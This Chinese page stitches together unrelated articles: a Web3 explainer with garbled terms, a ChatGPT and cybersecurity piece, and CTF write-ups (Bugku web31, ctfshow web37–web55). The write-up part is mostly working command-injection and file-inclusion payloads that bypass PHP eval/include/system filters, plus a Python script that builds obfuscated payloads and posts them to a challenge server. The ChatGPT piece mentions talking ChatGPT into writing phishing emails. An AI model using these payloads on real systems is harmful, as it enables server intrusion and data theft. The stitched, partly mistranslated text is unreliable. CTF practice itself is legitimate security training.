想了解什么是Web3?Web3与Web1和Web2相比如何?的新动态吗?本文将为您提供详细的信息,我们还将为您解答关于web2和web3的区别的相关问题,此外,我们还将为您介绍关于BugkuCTFwe
想了解什么是 Web3?Web3 与 Web1 和 Web2 相比如何?的新动态吗?本文将为您提供详细的信息,我们还将为您解答关于web2和web3的区别的相关问题,此外,我们还将为您介绍关于Bugku CTF web31(Web)、ChatGPT将如何影响Web2、Web3和网络安全?、Ctfshow web入门-web38 WP、ctfshow 命令执行 web29-web77 web118-122 web124 wp的新知识。
本文目录一览:- 什么是 Web3?Web3 与 Web1 和 Web2 相比如何?(web2和web3的区别)
- Bugku CTF web31(Web)
- ChatGPT将如何影响Web2、Web3和网络安全?
- Ctfshow web入门-web38 WP
- ctfshow 命令执行 web29-web77 web118-122 web124 wp
什么是 Web3?Web3 与 Web1 和 Web2 相比如何?(web2和web3的区别)
即使您不熟悉或不熟悉区块链行业,您也很可能偶然发现了“Web3”一词。主流媒体越来越多地使用这个词,包括2022年10月19日喜剧之王 周星驰先生页发布了招募Web技术人员,这意味着 Web3 正在成为普通人词汇的一部分。然而,即使这个概念受到越来越多的关注,并不是每个人都熟悉 Web3 的含义。鉴于情况可能如此,我们将在本文中深入探讨去中心化网络,并就 Web3 的重要性提供一个易于理解的解释。
首先,我们将概述 Web3 并将其与更熟悉的 Web1 和 Web2 概念进行比较。在此之后,我们将深入探讨为什么 Web3 最近获得了越来越多的关注。最后,我们将通过描述 Web3 的当前状态及其与元节的连接来结束所有内容。
请跟我们通过仔细研究去中心化网络的含义来开始本指南,了解为什么 Web3 很重要。
一、什么是 Web3?
在试图理解为什么 Web3 很重要之前,我们需要定义这个概念。这说起来容易做起来难,因为人们对 Web3 的确切含义存在冲突,并且存在许多定义。简而言之,第三代网络是以去中心化区块链技术为核心的新版互联网。
区块链与一些最著名的加密货币(例如比特币或以太坊)背后的技术相同,它是去中心化网络的核心方面。那么,什么是区块链?
区块链是在广泛的节点网络之间共享的分布式数据库或分类帐。节点对于网络至关重要,因为它们通过保持链上发生的所有事件和交易的不可变记录来确保区块链的安全性。因此,区块链技术允许更高程度的去中心化,这是新版互联网的一个重要方面。此外,该系统使数据流透明,因为所有信息都是公开的。结果,它限制了滥用和欺诈行为,使欺骗系统变得更加困难。
人们相信这个新版本的互联网将会有多种形式。这包括“玩赚钱”视频游戏、NFT 平台、去中心化社交网络、DeFi(去中心化金融)平台等。此外,技术和创新的新解决方案表明,Web3 可能会改变我们所知道的互联网并创建一个无中介的新数字经济。
为了使事情更容易理解并说明 Web3 的重要性,将 Web3 与我们已经知道的 Web1 和 Web2 进行比较是有益的。
二、Web3 与 Web1 和 Web2 相比如何?
一般来说,我们可以将互联网的历史分为三个阶段:Web1、Web2、Web3。您可能不熟悉这两个术语;但是,您肯定已经与之前的两个网络版本进行了交互。
顾名思义,Web1 指的是互联网的第一阶段。在这个阶段,网络的主要目的是促进信息的供应和消费。这意味着 Web1 缺乏交互元素,使互联网相对静止。因此,人们大多在网上阅读内容,并没有做出贡献的方式。
然而,随着大型社交媒体公司的兴起,网络演变为更具交互性。这是互联网过渡到第二阶段的时候:Web2。借助 Web2,Web 体验变得更加动态。这意味着人们可以通过提供自己的内容来参与和贡献。
Web2 催生了一些世界上最著名的组织,例如 Facebook(现在的 Meta)、YouTube、Twitter 等。这些公司最终将大部分网络活动分发和货币化,将资金和控制权集中在自己手中方式。
然而,Web2 的集中化方面带来了隐私、透明度、单点故障等问题。现在,Web3 旨在用开放协议和社区运行的去中心化网络取代大型集中式企业平台。此外,这意味着它保持了 Web1 的开放基础设施和 Web2 的公众参与,同时将这些特征与去中心化相结合。因此,Web3 有可能使互联网摆脱集中化的一些最重要的问题。
三、去中心化网络的好处
在上一节中,我们讨论了去中心化和当前中心化互联网的问题。但是,去中心化网络有什么好处?
首先,Web3 平台为用户提供了更多将其活动货币化并为不同平台做出贡献的机会。这是当今的大型平台实际上不允许或有能力促进的事情。
一个例子是大量的数据聚合,例如 Meta 从中获利。他们积累用户数据来销售有针对性的广告,这是一种利润丰厚的商业模式。然而,去中心化的 Meta 替代方案可能允许用户将自己的数据货币化。
Web3 的第二个好处是平台可以被民主管理,这在 Web2 中并不是一个明显的例子。Meta 和 Twitter 等社交媒体集团基本上是专制国家。这意味着负责人可以例如禁止帐户并随心所欲地更改规则。现代替代方案可以使这种权力民主化并将这些决定委托给用户。反过来,没有一个人或实体拥有最终权力,用户将能够对重要事项进行投票。
最后,去中心化网络很可能较少依赖基于广告的商业模式。由于更少的跟踪器和有针对性的广告困扰他们,这为用户提供了更多的隐私。然而,这些只是解释为什么 Web3 很重要的几个好处示例。
四、为什么 Web3 很重要,为什么人们在讨论 Web3?
一些人声称关于 Web3 的炒作是营销和 FOMO(害怕错过)的影响;然而,这还不是全部!对去中心化网络的日益关注也受到注入区块链和加密初创公司的人才、资金和能量的影响。
仅在 2021 年,投资公司就向加密项目投入了超过 270 亿美元,其中大部分资金用于资助 Web3 项目。此外,一些最大的社交媒体平台,包括 Twitter 和 Reddit,也在尝试使用 Web3 来分一杯羹。
目前,更广泛的 Web3 行业正在吸收大量技术人才。具体来说,一些最著名的科技公司的员工离开了稳定、舒适的工作,在去中心化的网络中寻求新的冒险。
另一个突出 Web3 重要性的有趣领域是 NFT(不可替代代币)。NFT 目前正在蓬勃发展,并展示了行业内一些最有趣的项目。这些代币已被主流媒体报道,并且已经成为头条新闻已经有一段时间了。借助大量的宣传,您可能已经熟悉 NFT。
五、Web3 和元界
最近收到大量宣传的另一个流行词是元节。你很可能偶然发现了这个词。但是,它是什么意思,Web3 与它有什么关系呢?
Metaverse 是我们目前用来描述沉浸式数字世界的术语,人们可以在其中玩游戏、社交、参加会议和进行其他活动。随着 Facebook 更名为 Meta,“metaverse”一词引起了越来越多的关注。然而,这个词自九十年代初就已经存在,并且在电影、文学和游戏中得到了探索。
许多人认为 Web3 是促进元宇宙的重要组成部分,因为它允许创建不受大型实体控制的去中心化数字世界,这也是说明 Web3 为何重要的另一点。此外,诸如 NFT 之类的加密令牌也有可能代表元节中的项目。例如,这些类型的代币可能代表一个化身、数字世界中的一块土地或其他物品。
六、为什么 Web3 很重要?- 概括
Web3 变得越来越流行,并且很可能是大多数人很快就会知道的一个术语。这是互联网的下一个阶段,其特点是去中心化。此外,它是一个使用区块链技术构建的生态系统——与加密货币背后的技术相同。
那么,为什么 Web3 很重要?,仅在 2021 年,风险投资家就向加密项目投入了超过 270 亿美元,其中许多与去中心化网络有关。除了投资,该领域还吸引了一些大公司的技术人才。因此,我们肯定会在 2022 年看到 Web3 进一步发展。这表明您应该在不久的将来密切关注它。
周星驰发布的招募Web3技术人才,掀起一番热潮 进一步加速了更多技术人才加入Web3行列,并强调了 Web3 的重要性。
我们才刚刚开始使用 Web3 创建更好的 Web,但随着我们继续改进支持它的基础设施,Web 的未来看起来一片光明。
延伸阅读
Bugku CTF web31(Web)
0、打开网页,查看题目提示
描 述: 好像需要管理员
404 not found,交给御剑好了
1、使用御剑扫描目录
发现robots.txt文件,进去看看
发现了一个新的PHP文件,尝试打开
这里说我们不是管理员,源码中还用GET方式接收了变量x,不妨令变量x==admin
2、构造payload:http://114.67.246.176:13153/resusl.php?x=admin
3、得到flag:flag{5ac1a96f50ac93265f06d992774fc560}
ChatGPT将如何影响Web2、Web3和网络安全?
自从OpenAI公司在2022年11月发布了其最新的生成式人工智能平台ChatGPT以来,从应用程序开发人员到记者和学校负责人,似乎每个人都有话要说。他们讨论的大部分内容都涉及颠覆性的宏观层面的问题。ChatGPT是否在未来取代数百万个工作岗位?它会永远改变传统的学习方式吗?人类还会产生另一种创造性的思想吗?它看过《终结者》电影,了解天网吗?
当人们谈到ChatGPT时,有很多言过其辞的预测,同时也有很多令人恐惧的言论。但ChatGPT最终只是一个工具,其不同之处在于,它是一种可以学习的工具,可以自我改进。这就是为什么很难准确预测它如何成熟的原因。在短期内,它最有可能带来的影响将体现在人们的网络体验以及如何保护它们。先从传统的web体验开始进行探讨,也就是Web2。
ChatGPT和Web2
当然,本文中所说的一切也只是推测。那么,还有谁比ChatGPT本身更适合问ChatGPT将如何改变Web2呢?用ChatGPT自己的话说: “ChatGPT不会对Web2产生重大影响,因为它是为现有聊天机器人技术设计的。然而,ChatGPT可以用来增强现有的聊天机器人系统,以提供更多的自然语言理解和更接近人类的对话。ChatGPT不会让web2变得无关紧要。”
在向ChatGPT询问Web2的未来发展时,ChatGPT表示,Web2正在向更具交互性、用户友好性和沉浸式体验过渡。它将提供更多的功能,并允许用户比以往任何时候都更容易、更有效地连接和共享内容,所有这些都将为用户提供更好的体验。
当前视觉形式的Web2
它可能只是向自然语言交互的过渡,但这种过渡将改变一切。这是因为Web2本质上是可视化的。人们如今可以打开在线搜索引擎,输入关键字,按下回车键,希望得到想要的结果,然后就会看到搜索引擎给出的几乎无穷无尽的结果。如果这是一个可以获利的热门话题,那么在最前面的几个链接通常是广告,这些广告可能有用,也可能无益。在点击几个链接后,人们可能会发现需要不断查看后续页面,或者更糟糕的是,其搜索的内容已经偏离关键字的本意。
在其后台也有很多事情在发生,博客作者、在线零售商和企业都在努力抢占在线受众的注意力,希望人们会点击他们的链接。为了提高成功率,很多人花费大量的时间来学习如何操作谷歌搜索算法。搜索引擎优化(SEO)专业人员研究的是吸引这些受众的关键词。这些关键词会被转发给博主和作者,他们会以一种看起来很自然的方式仔细地将它们融入到文章内容中,所有这些都是为了达到规定的页面浏览目标。
Web2体验将发生变化
当ChatGPT接管这一搜索功能时,将会发生什么?关键字对它重要吗?如果用户从未离开聊天界面,页面浏览量和独立会话的价值将会发生什么变化?广告商将如何收费?其他用户的评论呢?人们会关心别人对某个特定话题的看法吗?还是人工智能聊天机器人的话语会成为未来唯一重要的观点?
一些人拒绝与Alexa这样的虚拟助手交谈,但在他们看来,那些接受普通搜索引擎的人更愿意接受Alexa所说的话。事实上,Web2将会发生变化,就像人们从传统手机过渡到智能手机时通信方式的变化一样。它与常规搜索引擎的一个区别是,除了其他细微差别之外,它还能够理解用户查询的场景,使其更具定制性和个性化体验。
加速向Web3的过渡
在过去的几年中,人们见证了Web3以虚拟聊天助手和区块链技术的形式不断增长。ChatGPT可以说是点燃Web3火焰的燃油,因为用户开始意识到虚拟助手可以用来做比关灯或询问天气更有成效的事情。其结果将是为用户提供更具互动性的体验。它还将使企业能够达到一个全新的个性化客户服务水平,这在十年前是不可想象的。
网络安全和ChatGPT
当被问及ChatGPT将如何帮助改善网络安全时,ChatGPT回答得有些迟疑,但它表示,ChatGPT最大的优势是能够实时检测和预测恶意网络活动。它可以使用自然语言处理能力来检测基于文本的恶性通信,例如网络钓鱼攻击,并相应地提醒安全团队。
几年来,网络安全供应商一直在告诉人们,人工智能集成将如何彻底改变网络安全,使计算更加安全。这种声明有过无法兑现的历史。1884年,当海勒姆·马克沁发明重机枪时,人们普遍认为它可以防止战争的发生。但是有哪支军队只会用这种武器进行防御呢?最终,这只会造成士兵更大的伤亡。因此,人工智能系统不会根除网络威胁。
显然,人工智能具有两面性。虽然OpenAI公司证明ChatGPT不会创建恶意代码或提供可用于恶意目的的信息,但CheckPoint Research公司的网络安全专业人员已经找到了绕过这一问题的方法。似乎使用自然语言可以让ChatGPT做一些事情,例如写一封钓鱼电子邮件打开一个新的窗口,用于研究或假设的目的。网络犯罪分子可以使用OpenAI来创建恶意代码。
结论
人们无法预测ChatGPT将会如何影响世界,但可以确定的是,事情不会像许多人想象的那么美好或那么可怕。虽然目前的ChatGPT版本令人印象深刻,但真正影响世界的是未来发布的版本。据悉,ChatGPT第4版将在今年晚些时候发布。
以上就是ChatGPT将如何影响Web2、Web3和网络安全?的详细内容,更多请关注php中文网其它相关文章!
Ctfshow web入门-web38 WP
查看源代码发现对比上一题只是多了对PHP的过滤,对PHP的过滤影响到的是data协议rce时<?PHP语句的构造
不过<?PHP system(‘ls’);?>
是可以简写将PHP省略的 <?PHP system(‘ls’);>
等于 <?=system(‘ls’);?>
这是作者的一个小实验:
构造payload
http://f5d8e458-5d09-4ed5-aba4-98ddda953a5b.challenge.ctf.show:8080/?c=data:text/plain,<?=system('tac fla*');?>
ctfshow 命令执行 web29-web77 web118-122 web124 wp
南神博客
文章目录
- 命令执行
- web29
- web30
- web31
- web32
- web33
- web34
- web35
- web36
- web37
- web38
- web39
- web40
- web41
- web42
- web43
- web44
- web45
- web46
- web47
- web48
- web49
- web50
- web51
- web52
- web53
- web54
- web55
- web56
- web57
- web58
- web59
- web60
- web61
- web62
- web63
- web64
- web65
- web66
- web67
- web68
- web69
- web70
- web71
- ***web72
- web73
- web74
- ***web75
- web76
- web77
- web118
- web119
- web120
- web121
- web122
- web124
- 知识点总结
命令执行
web29
preg_match :匹配正则表达式
模式分隔符后的"i"标记这是一个大小写不敏感的搜索
模式中的\b标记一个单词边界,所以只有独立的单词会被匹配,如:
if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) : True
if (preg_match("/\bweb\b/i", "PHP is the website scripting language of choice.")) : False
小技巧:如果仅仅想要检查某个字符串是否包含另外一个字符串,不要使用 preg_match() , 使用 strpos() 会更快。
题目:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
即 $c 不能匹配到大小写的flag
payload: ?c=system('tac f*');
linux知识:通配符
* 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0
对于linux cat和ca''t ca\t ca""t效果是相同的 这样同样可以绕过字符的限制
web30
题目
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|PHP/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这次过滤了system,但是还有其他方法能够执行系统命令
如:
system : 执行外部程序,并且显示输出,如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后, 自动刷新 web 服务器的输出缓存。如果要获取一个命令未经任何处理的 原始输出, 请使用 passthru() 函数。
exec : 执行一个外部程序,回显最后一行,需要用echo输出。
shell_exec : 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
popen : 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
proc_open : 执行一个命令,并且打开用来输入/输出的文件指针。
passthru : 执行外部程序并且显示原始输出。同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。
pcntl_exec() : 在当前进程空间执行指定程序,当发生错误时返回 false ,没有错误时没有返回。
`(反引号):同 shell_exec()
所以构造payload
payload: ?c=passthru('tac f*');
web31
题目
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|PHP|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这一次对于之前的payload是过滤了空格,但是有多种办法可以绕过,讲解如下:
${IFS} 但不能写作 $IFS
$IFS$9
%09
<>
<
$IFS%09
因此得到payload:
?c=passthru("tac%09f*");
这里这五个,只有%09可以用。因为这里是命令执行不是代码执行。如${IFS}是在shell里用,而这里是在绕过PHP的正则。
另外同cat功能的函数还有:
cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev
web32
题目
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|PHP|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
上一关的还能用
因为过滤了分号,所以之前的都失效了,这里可以使用PHP短标签来闭合执行命令。这里可以用?c=include$_GET[a]?>
然后因为include不能直接包含出flag,所以使用PHP伪协议来读取flag的base64内容
?c=include$_GET[a]?>&a=PHP://filter/read=convert.base64-encode/resource=flag.PHP
web33
题目
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|PHP|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
继续
?c=include$_GET[a]?>&a=PHP://filter/read=convert.base64-encode/resource=flag.PHP
web34
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|PHP|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
没影响,继续
?c=include$_GET[a]?>&a=PHP://filter/read=convert.base64-encode/resource=flag.PHP
web35
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|PHP|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
还是对原payload没有影响,继续
?c=include$_GET[a]?>&a=PHP://filter/read=convert.base64-encode/resource=flag.PHP
web36
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|PHP|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
还是没影响,只是过滤数字
?c=include$_GET[a]?>&a=PHP://filter/read=convert.base64-encode/resource=flag.PHP
web37
//flag in flag.PHP
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
想比于之前,这一次给的就不是eval直接来执行命令,而是使用的include来进行命令执行。
因为不能带有flag,所以PHP伪协议来读是不行的(因为必须打完整的flag.PHP)
伪协议:
总:
file:// 协议
PHP:// 协议
zip:// bzip2:// zlib:// 协议
data:// 协议
http:// 协议 https://协议
phar:// 协议
分:
file:// 协议:
条件 allow_url_fopen:off/on allow_url_include :off/on
作用:用于访问本地文件系统。在include()/require()等参数可控的情况下,如果导入非PHP文件也会被解析为PHP
用法:1.file://[文件的绝对路径和文件名]
2.[文件的相对路径和文件名]
3.[http://网络路径和文件名]
PHP:// 协议:条件 allow_url_include :仅PHP://input PHP://stdin PHP://memory PHP://temp 需要on allow_url_fopen:off/on
作用:PHP:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是PHP://filter和PHP://input,PHP://filter用于读取源码,PHP://input用于执行PHP代码
PHP://filter参数详解:resource=(必选,指定了你要筛选过滤的数据流) read=(可选) write=(可选)
对read和write,可选过滤器有string.rot13、string.toupper、string.tolower、string.strip_tags、convert.base64-encode & convert.base64-decode
用法举例:PHP://filter/read=convert.base64-encode/resource=flag.PHP
zip:// bzip2:// zlib:// 协议:
条件:allow_url_fopen:off/on allow_url_include :off/on
作用:zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名
用法:zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]
compress.bzip2://file.bz2
compress.zlib://file.gz
其中phar://和zip://类似
data:// 协议:
条件:allow_url_fopen:on allow_url_include :on
作用:可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
用法:data://text/plain, data://text/plain;base64,
举例:data://text/plain,<?PHP%20PHPinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
由此可见,web37这道题可以用data://伪协议来执行代码
组合得到payload
c=data://text/plain,<?PHP%20system("tac%20f*");?>
web38
题目
//flag in flag.PHP
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|PHP|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
这里把PHP给过滤了,所以我们换个PHP的短标签,可以把PHP换成等号
所以payload
?c=data://text/plain,<?=%20system("tac%20f*");?>
web39
//flag in flag.PHP
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".PHP");
}
}else{
highlight_file(__FILE__);
}
这里是把$c."PHP"拼接了起来,但是还是可以用命令执行,因为在短标签里面进行了一个<?= ?> 已经闭合了所以不会受到PHP的影响
还是用上一道题的payload
?c=data://text/plain,<?=%20system("tac%20f*");?>
web40
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤的挺多的,但基本都是数字和特殊符号,可以注意的是他过滤的是中文的括号,没有过滤英文的()
常见的绕过姿势
getallheaders():返回所有的HTTP头信息,返回的是数组而eval要求为字符串,所以要用implode()函数将数组转换为字符串
get_defined_vars():该函数的作用是获取所有的已定义变量,返回值也是数组,不过是二维数组,用var_dump()输出可以看见输出的内容,看见在第几位之后,可以用current()函数来获取其值,详细可以看官方函数。payload:var_dump(current(get_defined_vars()));
session_id():session_id()可以用来获取/设置当前会话 ID,可以用这个函数来获取cookie中的PHPsessionid,并且这个值我们是可控的。
如可以在cookie中设置 PHPSESSID=706870696e666f28293b,然后用hex2bin()函数,即传入?exp=eval(hex2bin(session_id(session_start()))); 并设置cookie:PHPSESSID=706870696e666f28293b
session_start 函数是为了开启session
配合使用的函数:
print_r(scandir(‘.’)); 查看当前目录下的所有文件名
var_dump()
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名
each() 返回数组中当前的键/值对并将数组指针向前移动一步
end() 将数组的内部指针指向最后一个单元
next() 将数组中的内部指针向前移动一位
prev() 将数组中的内部指针倒回一位
array_reverse() 以相反的元素顺序返回数组
首先构造payload输出当前文件下的文件名,因为过滤了特殊符号所以上面print_r(scandir(‘.’));不能直接用
要配合localeconv()和current()来使用
?c=print_r(scandir(current(localeconv())));
flag.PHP在倒数第二位,然后用show_source输出
?c=show_source(next(array_reverse(scandir(current(localeconv())))));
web41
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
这道题过滤了数字和字母(因为后面/i对大小写不敏感),并且不能用异或、取反、自增等操作(过滤$、+、-、^、~),但是可以用|(或)
他这里过滤的数字指的是ascii类型的,所以如%09(tab)这种是没有过滤的,于是可以用此来构造出想用的字母和数字,这里给出网上有的一个脚本
import re
import requests
url="http://64dc8155-8f3b-4e75-a8e5-dbe633352099.challenge.ctf.show/"
a=[]
ans1=""
ans2=""
for i in range(0,256):
c=chr(i)
tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
if(tmp):
continue
#print(tmp.group(0))
else:
a.append(i)
mya="system" #函数名 这里修改!
myb="ls" #参数
def myfun(k,my):
global ans1
global ans2
for i in range (0,len(a)):
for j in range(i,len(a)):
if(a[i]|a[j]==ord(my[k])):
ans1+=chr(a[i])
ans2+=chr(a[j])
return;
for k in range(0,len(mya)):
myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):
myfun(k,myb)
data2="(\""+ans1+"\"|\""+ans2+"\")"
data={"c":data1+data2}
r=requests.post(url=url,data=data)
print(r.text)
web42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
这里是$c参数后面接了个>/dev/null 2>&1,百度一下
0 标准输入
1 标准输出
2 错误输出
在类Unix系统中,/dev/null,或称空设备,是一个特殊的设备文件,它丢弃一切写入其中的数据(但报告写入操作成功)
区别:
2>/dev/null 把错误输出到空设备(即丢弃)
>/dev/null 2>&1 相当于1>/dev/null 2>&1 即把标准输出丢弃,并且把错误输出输出到标准输出。合计起来就是错误和标准输出都输出到空设备
2>&1 >/dev/null 错误输出到标准输出,即输出到屏幕上,而标准输出被丢弃
重定向> 和 >> 前者会先清空文件,然后再写入内容,后者会将重定向的内容追加到现有文件的尾部.
输入的内容会被丢弃,该怎么办呢?答案是可以用;或||等进行分割,如?c=ls&&pwd. 执行的时候会将ls给执行而丢弃pwd命令
?c=tac flag.PHP||ls
web43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
只是过滤了分号和cat而已,继续用上面的
?c=tac flag.PHP||ls
web44
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
在上面基础上过滤flag而已,用通配符就可以了
?c=tac f*||ls
web45
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
在上面基础上过滤空格而已,用%09即可
?c=tac%09f*||ls
web46
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
在上面的基础上过滤了数字 $ *
换一下通配符即可
?c=tac%09fla?.???||ls
web47
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
在上面基础上过滤了more less head sort tail,还是没有过滤tac 继续用
?c=tac%09fla?.???||ls
web48
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
还是没有过滤tac
?c=tac%09fla?.???||ls
web49
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤了个百分号而已,还是没影响
?c=tac%09fla?.???||ls
web50
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
哦豁,过滤了\x09和\x26
于是想到用<>,但是发现<>和?组合的时候没有输出,于是将上面payload改一下就可以了
?c=tac<>fl\ag.PHP||ls
web51
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这次居然过滤了tac,但是在web31的时候讲过,另外同cat功能的函数还有:
cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev
?c=nl<>fl\ag.PHP||ls
flag在源代码
web52
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这次过滤了<>,小问题用${IFS}
?c=nl${IFS}fl\ag.PHP||ls
然后看源代码
但是发现flag改了地方
于是?c=ls${IFS}/||ls发现flag在根目录,所以最终payload为
?c=nl${IFS}/fl\ag||ls
web53
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
<br> 是换行符
当我输入?c=ls时,返回的是
lsflag.PHP index.PHP readflag
readflag
然后我还是用的上上一个payload
?c=nl${IFS}fl\ag.PHP||ls
web54
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
¿¿¿¿什么牛马
但是他没有想到吧还能用rev函数
?c=rev${IFS}fla?.PHP
得到的再reverse一下就是flag
web55
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
把字母过滤了而已,可以用通配符来把flag搞出来
